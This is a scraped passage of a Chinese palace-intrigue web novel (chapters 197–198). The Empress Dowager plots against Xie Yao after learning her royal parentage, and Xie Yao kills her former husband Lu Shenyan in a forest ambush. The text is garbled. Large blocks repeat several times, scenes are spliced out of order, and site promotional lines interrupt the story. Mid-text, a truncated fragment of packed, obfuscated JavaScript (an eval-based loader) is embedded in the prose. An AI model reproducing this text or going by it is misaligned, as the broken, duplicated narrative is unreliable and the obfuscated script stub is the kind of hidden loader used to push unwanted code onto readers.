因为当时七皇子还小,江锦云想两面讨好,不管谁登基,她都是唯一的太后。 太后眼神闪过一丝忌惮,她不怕谢明安的威胁,却越发记住了谢窈的名字。 这个女人,突如其来成了萧熠之的王妃,救下**宜的命,成为皇上任命的女校尉,如今还查出谢明安和自己的关系。 简直像是老天爷派来跟自己对着干的。 太后眯起眸子,忽然想起什么:“哀家有件事要问你,你母亲之前说,谢窈是成佛寺的弃婴,此事可属实?她是几月份出生的?” 。 太后走上前,涂着丹蔻的手指捏起芝黛呈上来的账册,翻了几页,脸色瞬间沉了下去:“谢明安,你好大的胆子,竟敢威胁哀家!” 谢明安早有准备,不但不怕,反而赔着笑道: “太后说笑了,微臣只是想求太后帮我一把,我为您收敛钱财,沟通官员这么多年,没有功劳也有苦劳,如今我被贬去岭北,您总不能见死不救吧。” 太后呼吸一窒,眼神却更加狠戾。 “蠢东西,你以为凭这些,就能拿捏哀家?你被贬官削爵,那是你自己无能,连两个女流之辈都斗不过,跟哀家有什么关系。” 谢明安站起来,声音压低:“太后,谢窈已经知道臣是您的人,她既然查出了臣送给前礼部尚书那千两黄金,您觉得,她会不会查到,臣当年替您送给睿亲王的佛像呢。” 六年前先帝驾崩,留下了七子一女。 太子,也就是五皇子登基,没想到除了太后膝下年幼的七皇子之外,剩余五位亲王同时叛乱。 幸好有靖北王和丞相江家,帮助皇帝平定叛乱。 可没人知道,江锦云表面上没让七皇子参与叛乱,背地里,却曾支持过睿亲王。 因为当时七皇子还小,江锦云想两面讨好,不管谁登基,她都是唯一的太后。 太后眼神闪过一丝忌惮,她不怕谢明安的威胁,却越发记住了谢窈的名字。 这个女人,突如其来成了萧熠之的王妃,救下**宜的命,成为皇上任命的女校尉,如今还查出谢明安和自己的关系。 简直像是老天爷派来跟自己对着干的。 太后眯起眸子,忽然想起什么:“哀家有件事要问你,你母亲之前说,谢窈是成佛寺的弃婴,此事可属实?她是几月份出生的?” 。 太后走上前,涂着丹蔻的手指捏起芝黛呈上来的账册,翻了几页,脸色瞬间沉了下去:“谢明安,你好大的胆子,竟敢威胁哀家!” 谢明安早有准备,不但不怕,反而赔着笑道: “太后说笑了,微臣只是想求太后帮我一把,我为您收敛钱财,沟通官员这么多年,没有功劳也有苦劳,如今我被贬去岭北,您总不能见死不救吧。” 太后呼吸一窒,眼神却更加狠戾。 “蠢东西,你以为凭这些,就能拿捏哀家?你被贬官削爵,那是你自己无能,连两个女流之辈都斗不过,跟哀家有什么关系。” 谢明安站起来,声音压低:“太后,谢窈已经知道臣是您的人,她既然查出了臣送给前礼部尚书那千两黄金,您觉得,她会不会查到,臣当年替您送给睿亲王的佛像呢。” 六年前先帝驾崩,留下了七子一女。 太子,也就是五皇子登基,没想到除了太后膝下年幼的七皇子之外,剩余五位亲王同时叛乱。 幸好有靖北王和丞相江家,帮助皇帝平定叛乱。 可没人知道,江锦云表面上没让七皇子参与叛乱,背地里,却曾支持过睿亲王。 因为当时七皇子还小,江锦云想两面讨好,不管谁登基,她都是唯一的太后。 太后眼神闪过一丝忌惮,她不怕谢明安的威胁,却越发记住了谢窈的名字。 这个女人,突如其来成了萧熠之的王妃,救下**宜的命,成为皇上任命的女校尉,如今还查出谢明安和自己的关系。 简直像是老天爷派来跟自己对着干的。 太后眯起眸子,忽然想起什么:“哀家有件事要问你,你母亲之前说,谢窈是成佛寺的弃婴,此事可属实?她是几月份出生的?” 。 太后走上前,涂着丹蔻的手指捏起芝黛呈上来的账册,翻了几页,脸色瞬间沉了下去:“谢明安,你好大的胆子,竟敢威胁哀家!” 谢明安早有准备,不但不怕,反而赔着笑道: “太后说笑了,微臣只是想求太后帮我一把,我为您收敛钱财,沟通官员这么多年,没有功劳也有苦劳,如今我被贬去岭北,您总不能见死不救吧。” 太后呼吸一窒,眼神却更加狠戾。 “蠢东西,你以为凭这些,就能拿捏哀家?你被贬官削爵,那是你自己无能,连两个女流之辈都斗不过,跟哀家有什么关系。” 谢明安站起来,声音压低:“太后,谢窈已经知道臣是您的人,她既然查出了臣送给前礼部尚书那千两黄金,您觉得,她会不会查到,臣当年替您送给睿亲王的佛像呢。” 六年前先帝驾崩,留下了七子一女。 太子,也就是五皇子登基,没想到除了太后膝下年幼的七皇子之外,剩余五位亲王同时叛乱。 幸好有靖北王和丞相江家,帮助皇帝平定叛乱。 可没人知道,江锦云表面上没让七皇子参与叛乱,背地里,却曾支持过睿亲王。 因为当时七皇子还小,江锦云想两面讨好,不管谁登基,她都是唯一的太后。 太后眼神闪过一丝忌惮,她不怕谢明安的威胁,却越发记住了谢窈的名字。 这个女人,突如其来成了萧熠之的王妃,救下**宜的命,成为皇上任命的女校尉,如今还查出谢明安和自己的关系。 简直像是老天爷派来跟自己对着干的。 太后眯起眸子,忽然想起什么:“哀家有件事要问你,你母亲之前说,谢窈是成佛寺的弃婴,此事可属实?她是几月份出生的?” 第197章 王爷寻到解药,渣男梦醒递信 谢明安愣了愣,不明白太后为何忽然要问这个问题。 他压下疑惑,摆出一副恭顺的模样: “是,臣和母亲当初严刑拷打了苏嬷嬷,苏嬷嬷说了,许氏早产,生下的就是个死婴,她是寻了个成佛寺的弃婴,那弃婴就是谢窈。至于月份,臣记得……是夏日。 谢明安观察着太后的神色,小心翼翼地问:“太后为何问起这个? 太后没有回答,而是看向身边的心腹太监江公公。 江公公是先帝身边的老人,长公主被送去雍国前怀有身孕,这种皇家辛密之事,太后都不知道,还是他告诉太后的。 江公公点头:“太后,长公主当年在成佛寺养胎,正是夏天生的…… 太后脸色更加阴沉。 这么说来,**宜那胎没死,谢窈,十有**是她的亲生女儿。 “长公主,养,养胎?! 谢明安听到这话,猛地瞪大眼睛。 “长公主竟然有过孩子……难道,难道您的意思是,谢窈是长公主的女儿?这,这么可能!他震惊万分。 谢明安怎么也不敢相信,被他视作耻辱,恨之入骨的谢窈,能有这样的身世! “怎么,很意外?太后斜睨了他一眼,语气转冷。 “**宜当年不知廉耻,还没被送去雍国,就不知和哪个野男人珠胎暗结,怀了野种,先帝为了颜面,把她送去成佛寺,对外说是祈福,后来生下个死婴,此事也就作罢了。 现在看来,是当初的宫人或接生婆被做了手脚,要么,就是先帝有什么秘密旨意。 太后越说越恨,眼底溢出杀意。 江公公:“太后,要是让长公主知道谢窈是她女儿,这母女俩联手,怕是更要将朝局搅得天翻地覆…… “所以谢窈必须死,而且要尽快。太后低声自语。 谢明安心里的震惊渐渐褪去,连忙躬身道:“太后英明!只不过谢窈狡猾得很,还请太后小心。 “不用你教哀家做事,这些年,你自己也没少贪吧,这次,哀家只需你这蠢货出一笔银两就好。太后冷声道。 随即,她又低声吩咐江公公什么。 片刻后,两个侍卫压着陆慎言,走了进来。 他浑身旧伤添新伤,走路一瘸一拐,但精神还算好。 “这是?谢明安疑惑地问。 陆慎言一进门,就看见了他,眼底闪过一丝厌恶。 “晚辈陆慎言,见过文昌伯。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 他低声行礼。 谢明安“啧啧”两声:“原来是你啊之前当街污蔑靖北王被谢窈打得满地找牙那个我以前倒是见过你 陆慎言反唇相讥:“文昌伯也和以前不太一样像个六旬老人。” 谢明安:“……” “陆慎言”太后打断二人的话声音幽冷“谢窈害得你前途尽毁哀家看在你替钰儿挡箭的份上愿意给你一个报仇的机会你愿意吗。” 陆慎言浑身一震攥紧了拳头。 “草民愿意。” 他无法拒绝低下头眼中深藏着复杂的情绪。 这些日子里陆慎言一直被安平侯关在地牢闲来无事就鞭打一顿直到前两天太后记起他把他提了出来。 他的梦彻底醒了。 太后正等陆慎言再说两句表忠心的话没想到等了一会儿男子什么都没说。 她嘴角抽了抽询问道:“听说你和谢窈也算幼时玩伴如果谢窈没有去北境你们说不定还是青梅竹马?” 陆慎言怔了怔声音低沉:“是如果……如果没有那些事我们还是青梅竹马。” “好你先回家疗伤之后就听哀家的吩咐。”太后淡淡地说。 陆慎言应声退下走出房间他忽然转过身望着房间内两道身影。 两个……注定会失败的人。 他讽刺地扬起唇角。 谢明安还想催促太后别忘了自己剩六日就要离京了但江公公直接走上前:“谢大人太后累了你该走了。” “微臣告退。” 谢明安乖乖地闭上眼任由江公公继续给自己蒙上眼睛。 通过陆慎言和这里的摆设他已经猜出此处是什么地方了。 是安平侯府! 太后出宫竟然在侯府与自己见面太后是彻底对皇上失望了。 太后望着谢明安的背影道:“钰儿还是老样子?” 江公公:“是终日酗酒皇上倒是彻底放心他了还给他挂了个鸿胪寺的闲职。” “这孩子就是太重情了。” 太后感叹道。 “但这样也好至少……比他那个薄情的五皇兄好得多。皇上长大了太不听话了要是换成哀家的钰儿一切都会不一样。” 江公公:“太后圣明奴才愿意为太后赴汤蹈火在所不辞。” 靖北王府扶光院。 一大早 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 白蔹就来回禀:“王妃,如你预料,谢明安回府后,半夜去找了芝黛,之后被太后的人带去安平侯府,太后本人也到侯府跟他相见,两人交谈了半个时辰之后,这才各自离开。” “只不过,侯府守卫森严,属下不知他们到底谈了什么。” 昨夜,谢明安被蒙住眼睛塞进马车,他却听从王妃的吩咐,一直跟在后面。 “谈什么,已经不重要了,”谢窈道,“皇上让谢明安七日内去岭北赴任,他终于按捺不住,打算动手了。” “王妃,属下还看见一个人。”白蔹看向隔壁的流霞院,欲言又止。 谢窈:“你想说什么,就说。” 白蔹心想反正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不过,还没到上巳节,两日后忍冬出门采买,带了一封信回来。 “王妃,奴婢在东街遇见陆慎言的书童,这是他让奴婢交给您的。” 谢窈接过信,信封上是“谢窈亲启”四个字。 她瞳孔微凝。 这字迹,是陆慎言的。 同时,也是她的。 前世她曾指点陆慎言书法,使陆慎言的字迹,能与她**分相似。 他曾透露,他就是靠那手字迹,每月写信谩骂诅咒母亲,才会骗得母亲为自己伤心欲绝。 谢窈眉心微蹙,拆开信,上面只有简短的一行字: 明日巳时,栖凤山下,事关你的身世,愿与卿相见,唯你一人。 署名是陆慎言。 可这一世,她从没有指点过陆慎言的书法,而且一个人的字迹,也不是一朝一夕能练出来的。 除非,他也…… 重来了一世。 第198章 前世结局,亲手解决渣男! 陆慎言,竟然给她写了一封信。 信上说事关她的身世,要她明日栖凤山的山脚下相见。 不用想,谢窈都知道这是一个圈套。 可既然是圈套,陆慎言又为何用她的字迹。 这倒更像是,他在提醒自己什么。 不过,不重要了。 确定陆慎言出现在安平侯府,太后和谢明安也有所勾结后,就到了结束一切的时候。 见谢窈看着信微微出神,忍冬连忙问:“王妃,信上说了什么?” 谢窈:“陆慎言让我明日巳时,独自前往栖凤山下,和他见面。” 忍冬:“此人之前算计王妃,阴险狡诈,王妃可千万不要去啊。” “不,我非去不可。” 谢窈缓缓说道。 她立即叫来白蔹,吩咐道:“小白侍卫,今晚又要麻烦你了,这次不只是你,还得辛苦王府的兄弟们。” 太后以为能布下陷阱,除她而后快,殊不知,她谢窈,从不打无准备之仗。 陆慎言说了,要她巳时与她独自相见,却没有说,其他时候,山下也只有她一个人。 白蔹听完王妃的话,兴奋地前去安排。 谢窈又摸了摸忍冬的头发:“忍冬,你把王爷给我的刀鞘找出来,我发现,我的刀太丑了,还是配上刀鞘好看一些。” 忍冬热泪盈眶:“王妃,您终于发现这个问题了!” 自从少将军嫁给王爷,萧家老夫人,三房周夫人等人,挨个往扶光院送各种好看的衣服首饰,把少将军打扮得漂漂亮亮的。 除了…… 那把刀。 每次王妃穿得像个仙女,却提着一把缠着破布条,感觉还臭臭的长刀,真的很奇怪啊! 次日,谢窈前往赴约。 走之前,她本来想跟王爷说一声,不巧的是,王爷正在屋里推拿按摩。 反正也不是什么大事,谢窈告诉门外的白术:“我出去一趟,劳烦白侍卫在王爷推拿之后,跟他说一声。” 白术:“好的,王妃去做什么?” “去**,很快就回来。” 白术:“???” 王妃为什么能把去**,说得像是去吃饭一样随便啊? 这靖北王府,到底谁扭曲? * 栖凤山脚下一片树林,桃花绽放,草长莺飞。 谢窈远远地就看见陆慎言的身影,他银冠束发,穿了件朱红的襕袍,身姿努力挺拔着,看上去温润端方,但细看 之下,嘴角和脖颈,有着细微的红痕。 陆慎言为了展现自己温润如玉的气质,甚少穿红色衣袍。 但他的官服,是红色的。 谢窈回想起前世自己临死前,被陆慎言关进柴房折磨时,他就穿着朱色官服。 一丝杀意,从谢窈眼底掠过。 陆慎言已经一无所有,她,也玩够了。 “窈儿,你不该来的。” 陆慎言看见谢窈,声音颤抖。 谢窈听到这熟悉的称呼,抚摸着自己腰间精致华贵的刀鞘,嗤笑一声:“你又怎知,我不该来呢?” 陆慎言内心一动,紧张的心绪忽然松懈下来。 也是,谢窈任何时候,从不会屈服,也从没有输过。 他索性在旁边石凳坐下,道:“我没有骗你,我真的知道你的身世。” 陆慎言仰起头,看向远处高耸的栖凤山,山顶,有座熠熠生辉的宝寺。 “十八年前,长公主还没去雍国和亲之前,曾在成佛寺生下一个孩子,同时,先帝给接生婆下了一道旨意,不论男女,去子留母。” 谢窈攥着刀柄的手猛地一紧。 长公主和大将军有一段旧情,大将军十年前班师回朝,第一件事就是来到成佛寺…… 她想过陆慎言会在自己面前胡编乱造,却没想到,这话听起来,竟然像是真的。 谢窈深吸一口气,面上仍旧无波无澜。 陆慎言凝视着她,看出她眼中的漠然,还深藏着对自己的恨意。 他张了张口,回想起谢窈往日的所作所为,从前他不明白,为何谢窈要折磨自己,现在他却懂了。 恐怕自己说什么,谢窈都不会相信。 陆慎言的声音忽然低哑了几分:“谢窈,我做了一个梦。” 谢窈:“啊?” “梦里,你回京后,拒绝了靖北王,成了我的妻子,而我家境贫寒,门第不显,让你走到哪里都被嘲笑……所以那日,安平侯那支箭,其实是我主动迎上去的。” 陆慎言的话语清晰而低沉。 梦里的他好恨,为什么那支箭那么巧,让他成了一个不能人道的废人,让他看见谢窈只想毁掉,让他想看着那张美艳精致的容颜,露出和自己一样痛苦的表情。 现在,他和梦里一样废了。 却也解脱了。 谢窈瞳孔微凝,再次摸了摸自己的刀鞘:“的确是做梦,才会如此荒谬。” 她扯动唇角,如果陆慎言也重生了,这么说,他前世 在自己死后,也**? 陆慎言笑得苦涩:“是啊,太荒谬了。” 此刻,树林更深处,太后看着谢窈和陆慎言交谈,脸色越发阴沉。 江公公:“太后,奴才的人已经确定,谢窈的确是一个人来的,据说这个女人武功不错,想必这是她敢孤身前往的原因。” “王爷这么护着谢窈,可她,仅仅因为陆慎言一封信,一句话,还真的来了,可见她对王爷的感情不过如此。” 太后盯着谢窈,眼中充满嫉恨。 “真想让王爷看见这一幕,不过,哀家不急,等杀了她,王爷自然会明白。” 江公公:“太后放心,奴才和大爷的人,已经彻底将树林包围,连只鸟都飞不进来。” 太后:“这里就交给你了,哀家在宫里,等着你将谢窈的头,摆到哀家面前。” 说完,太后提前回了宫。 陆慎言还在对谢窈说自己的梦境。 “梦里,长公主找到一道先帝旨意,还找到当年的接生婆,可同时,文昌伯也发现了你的身世,他要我除掉你,用谢家庶女代替你被长公主认亲,但我拒绝了,我怎么可能杀了你呢,你是我的妻子啊!” 陆慎言的眼神变得偏执,扭曲。 他的声音渐渐抬高:“可是谢窈,你为什么要跟我和离,为什么?!我们就这样一辈子在一起不好吗,如果你不跟我和离,你不想逃出去,你就不会死,我……” 谢窈终于抬眸,眼底是压不住的戾气:“原来,这才说谢明安派人截杀我的真正原因。” 当时的她,浑身是伤,奄奄一息,根本活不过那个冬天。 谢窈曾以为,谢明安是想谋取母亲留给自己的产业,才派人在她回谢家的路上,杀了她。 陆慎言通红着眼睛,压抑着声音嘶吼:“我没想过文昌伯会直接杀了你!你是长公主的女儿,是真正的李氏皇族,那庶女怎么配替代你——” 谢窈打断他,语气讥讽:“是啊,你没想杀我,你想把我折磨成一个跟你求饶的废人,等我被长公主认回去,你不就也摇身一变,成了长公主的女婿?” 从陆慎言的囚禁中逃出去,谢窈没有后悔过。 “一碗饭,吃三家,皇上,太后,长公主,你都想周旋利用,即便是在梦里,陆慎言,你从始至终在乎的,只有你自己。” 她早就看透了陆慎言的本性。 陆慎言用力擦拭眼角渗出的泪:“你说的对,可那不是梦,是我们的前尘,梦里,我这一生,没有遗憾了。 ” 谢窈:“我这一生,倒还有一个遗憾。” 陆慎言听懂了她的话,脸色瞬间变得惨白。 “谢窈,对不起。” 他说着,话音刚落,忽然抽出藏在袖中的**,朝谢窈扑了上去! 谢窈早有防备,侧身轻松避开的同时,反手扣住陆慎言的手腕,轻轻一掰。 只听“咔嚓”一声,陆慎言的手腕再次断了。 她看见这条手腕深处,还有许多没有愈合的鞭痕。 这次,陆慎言强忍着疼痛,只闷哼了一声。 “我的遗憾是,之前,没亲手宰了你。” 谢窈顺着他的力道,将**,狠狠送进他的心口! “噗嗤——” 陆慎言红色的衣袍,霎时间被猩红血液染成暗色,像绽放的妖冶花纹。 谢窈却觉得无趣,松开手。 陆慎言的身手,就是没有身手。 他突然发疯扑上来,是主动求死。 男子倒在地上,鲜血大口大口地从唇角溢出,他喘着粗气,唇角努力扬起笑容。 “能死在你手上,至少比梦里的死法,要……好得多……谢窈,我,我心甘情愿,只是不知道,能不能,得到你的原谅……” 他的呼吸越来越弱,眼前,浮现出迷离而血色的梦境。 谢窈问:“梦里,你是**的?” 陆慎言惨笑,嘴唇也被血色染成殷红:“被……靖北王抓住,被长公主活活烧死,慰藉你的在天之灵……” 那个梦里,带兵平乱的靖北王,因为发现了谢窈的尸体,意识到不太对劲后,顺势将他抓住。 文昌伯怎么骗得了长公主呢?很快,长公主也找到了自己的亲生女儿,只是那时候,一切都晚了。 听说,骁骑大将军和靖北王同时领兵进京。 长公主和大将军,甚至杀入太后宫中。 他被靖北王的**,钉在柱子上。 长公主眼中闪烁着疯狂而冰冷的泪,说道:“本宫要让所有辜负阿窈的人,都给她陪葬。” 一场燃烧了三天三夜的大火,将一切罪孽烧成飞灰。 可谢窈,回不来了。 还好,现在,一切都来得及…… 陆慎言喃喃道:“这样,窈儿,你就不遗憾了吧。” 欠她的,梦里他还不清,只能这辈子还给她。 谢窈垂下眸:“原来兜兜转转,替我收尸的人是他,替我报仇的人,也有他。” 陆慎言想到什么,忽然瞪大眼睛,语气激动了几分:“谢窈,你……你快走,树林里有埋伏!” 谢窈仍旧面无表情等他咽气,眼神没有一丝慌张。 陆慎言彻底放下心来。 “那个梦,如果能一直做下去,该多好……” 他的声音低了下去,微不可闻,黑色的眼瞳渐渐涣散。 突然,一群黑衣蒙面人从林中冲出! “陆慎言,你真是个废物,拼了命,连靖北王妃的一根头发丝都没碰到。” 为首的黑衣人眼神阴鸷,声音尖细。 ” 谢窈:“我这一生,倒还有一个遗憾。” 陆慎言听懂了她的话,脸色瞬间变得惨白。 “谢窈,对不起。” 他说着,话音刚落,忽然抽出藏在袖中的**,朝谢窈扑了上去! 谢窈早有防备,侧身轻松避开的同时,反手扣住陆慎言的手腕,轻轻一掰。 只听“咔嚓”一声,陆慎言的手腕再次断了。 她看见这条手腕深处,还有许多没有愈合的鞭痕。 这次,陆慎言强忍着疼痛,只闷哼了一声。 “我的遗憾是,之前,没亲手宰了你。” 谢窈顺着他的力道,将**,狠狠送进他的心口! “噗嗤——” 陆慎言红色的衣袍,霎时间被猩红血液染成暗色,像绽放的妖冶花纹。 谢窈却觉得无趣,松开手。 陆慎言的身手,就是没有身手。 他突然发疯扑上来,是主动求死。 男子倒在地上,鲜血大口大口地从唇角溢出,他喘着粗气,唇角努力扬起笑容。 “能死在你手上,至少比梦里的死法,要……好得多……谢窈,我,我心甘情愿,只是不知道,能不能,得到你的原谅……” 他的呼吸越来越弱,眼前,浮现出迷离而血色的梦境。 谢窈问:“梦里,你是**的?” 陆慎言惨笑,嘴唇也被血色染成殷红:“被……靖北王抓住,被长公主活活烧死,慰藉你的在天之灵……” 那个梦里,带兵平乱的靖北王,因为发现了谢窈的尸体,意识到不太对劲后,顺势将他抓住。 文昌伯怎么骗得了长公主呢?很快,长公主也找到了自己的亲生女儿,只是那时候,一切都晚了。 听说,骁骑大将军和靖北王同时领兵进京。 长公主和大将军,甚至杀入太后宫中。 他被靖北王的**,钉在柱子上。 长公主眼中闪烁着疯狂而冰冷的泪,说道:“本宫要让所有辜负阿窈的人,都给她陪葬。” 一场燃烧了三天三夜的大火,将一切罪孽烧成飞灰。 可谢窈,回不来了。 还好,现在,一切都来得及…… 陆慎言喃喃道:“这样,窈儿,你就不遗憾了吧。” 欠她的,梦里他还不清,只能这辈子还给她。 谢窈垂下眸:“原来兜兜转转,替我收尸的人是他,替我报仇的人,也有他。” 陆慎言想到什么,忽然瞪大眼睛,语气激动了几分:“谢窈,你……你快走,树林里有埋伏!” 谢窈仍旧面无表情等他咽气,眼神没有一丝慌张。 陆慎言彻底放下心来。 “那个梦,如果能一直做下去,该多好……” 他的声音低了下去,微不可闻,黑色的眼瞳渐渐涣散。 突然,一群黑衣蒙面人从林中冲出! “陆慎言,你真是个废物,拼了命,连靖北王妃的一根头发丝都没碰到。” 为首的黑衣人眼神阴鸷,声音尖细。 ” 谢窈:“我这一生,倒还有一个遗憾。” 陆慎言听懂了她的话,脸色瞬间变得惨白。 “谢窈,对不起。” 他说着,话音刚落,忽然抽出藏在袖中的**,朝谢窈扑了上去! 谢窈早有防备,侧身轻松避开的同时,反手扣住陆慎言的手腕,轻轻一掰。 只听“咔嚓”一声,陆慎言的手腕再次断了。 她看见这条手腕深处,还有许多没有愈合的鞭痕。 这次,陆慎言强忍着疼痛,只闷哼了一声。 “我的遗憾是,之前,没亲手宰了你。” 谢窈顺着他的力道,将**,狠狠送进他的心口! “噗嗤——” 陆慎言红色的衣袍,霎时间被猩红血液染成暗色,像绽放的妖冶花纹。 谢窈却觉得无趣,松开手。 陆慎言的身手,就是没有身手。 他突然发疯扑上来,是主动求死。 男子倒在地上,鲜血大口大口地从唇角溢出,他喘着粗气,唇角努力扬起笑容。 “能死在你手上,至少比梦里的死法,要……好得多……谢窈,我,我心甘情愿,只是不知道,能不能,得到你的原谅……” 他的呼吸越来越弱,眼前,浮现出迷离而血色的梦境。 谢窈问:“梦里,你是**的?” 陆慎言惨笑,嘴唇也被血色染成殷红:“被……靖北王抓住,被长公主活活烧死,慰藉你的在天之灵……” 那个梦里,带兵平乱的靖北王,因为发现了谢窈的尸体,意识到不太对劲后,顺势将他抓住。 文昌伯怎么骗得了长公主呢?很快,长公主也找到了自己的亲生女儿,只是那时候,一切都晚了。 听说,骁骑大将军和靖北王同时领兵进京。 长公主和大将军,甚至杀入太后宫中。 他被靖北王的**,钉在柱子上。 长公主眼中闪烁着疯狂而冰冷的泪,说道:“本宫要让所有辜负阿窈的人,都给她陪葬。” 一场燃烧了三天三夜的大火,将一切罪孽烧成飞灰。 可谢窈,回不来了。 还好,现在,一切都来得及…… 陆慎言喃喃道:“这样,窈儿,你就不遗憾了吧。” 欠她的,梦里他还不清,只能这辈子还给她。 谢窈垂下眸:“原来兜兜转转,替我收尸的人是他,替我报仇的人,也有他。” 陆慎言想到什么,忽然瞪大眼睛,语气激动了几分:“谢窈,你……你快走,树林里有埋伏!” 谢窈仍旧面无表情等他咽气,眼神没有一丝慌张。 陆慎言彻底放下心来。 “那个梦,如果能一直做下去,该多好……” 他的声音低了下去,微不可闻,黑色的眼瞳渐渐涣散。 突然,一群黑衣蒙面人从林中冲出! “陆慎言,你真是个废物,拼了命,连靖北王妃的一根头发丝都没碰到。” 为首的黑衣人眼神阴鸷,声音尖细。 ” 谢窈:“我这一生,倒还有一个遗憾。” 陆慎言听懂了她的话,脸色瞬间变得惨白。 “谢窈,对不起。” 他说着,话音刚落,忽然抽出藏在袖中的**,朝谢窈扑了上去! 谢窈早有防备,侧身轻松避开的同时,反手扣住陆慎言的手腕,轻轻一掰。 只听“咔嚓”一声,陆慎言的手腕再次断了。 她看见这条手腕深处,还有许多没有愈合的鞭痕。 这次,陆慎言强忍 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文昌伯怎么骗得了长公主呢?很快,长公主也找到了自己的亲生女儿,只是那时候,一切都晚了。 听说,骁骑大将军和靖北王同时领兵进京。 长公主和大将军,甚至杀入太后宫中。 他被靖北王的**,钉在柱子上。 长公主眼中闪烁着疯狂而冰冷的泪,说道:“本宫要让所有辜负阿窈的人,都给她陪葬。” 一场燃烧了三天三夜的大火,将一切罪孽烧成飞灰。 可谢窈,回不来了。 还好,现在,一切都来得及…… 陆慎言喃喃道:“这样,窈儿,你就不遗憾了吧。” 欠她的,梦里他还不清,只能这辈子还给她。 谢窈垂下眸:“原来兜兜转转,替我收尸的人是他,替我报仇的人,也有他。” 陆慎言想到什么,忽然瞪大眼睛,语气激动了几分:“谢窈,你……你快走,树林里有埋伏!” 谢窈仍旧面无表情等他咽气,眼神没有一丝慌张。 陆慎言彻底放下心来。 “那个梦,如果能一直做下去,该多好……” 他的声音低了下去,微不可闻,黑色的眼瞳渐渐涣散。 突然,一群黑衣蒙面人从林中冲出! “陆慎言,你真是个废物,拼了命,连靖北王妃的一根头发丝都没碰到。” 为首的黑衣人眼神阴鸷,声音尖细。 ” 谢窈:“我这一生,倒还有一个遗憾。” 陆慎言听懂了她的话,脸色瞬间变得惨白。 “谢窈,对不起。” 他说着,话音刚落,忽然抽出藏在袖中的**,朝谢窈扑了上去! 谢窈早有防备,侧身轻松避开的同时,反手扣住陆慎言的手腕,轻轻一掰。 只听“咔嚓”一声,陆慎言的手腕再次断了。 她看见这条手腕深处,还有许多没有愈合的鞭痕。 这次,陆慎言强忍着疼痛,只闷哼了一声。 “我的遗憾是,之前,没亲手宰了你。” 谢窈顺着他的力道,将**,狠狠送进他的心口! “噗嗤——” 陆慎言红色的衣袍,霎时间被猩红血液染成暗色,像绽放的妖冶花纹。 谢窈却觉得无趣,松开手。 陆慎言的身手,就是没有身手。 他突然发疯扑上来,是主动求死。 男子倒在地上,鲜血大口大口地从唇角溢出,他喘着粗气,唇角努力扬起笑容。 “能死在你手上,至少比梦里的死法,要……好得多……谢窈,我,我心甘情愿,只是不知道,能不能,得到你的原谅……” 他的呼吸越来越弱,眼前,浮现出迷离而血色的梦境。 谢窈问:“梦里,你是**的?” 陆慎言惨笑,嘴唇也被血色染成殷红:“被……靖北王抓住,被长公主活活烧死,慰藉你的在天之灵……” 那个梦里,带兵平乱的靖北王,因为发现了谢窈的尸体,意识到不太对劲后,顺势将他抓住。 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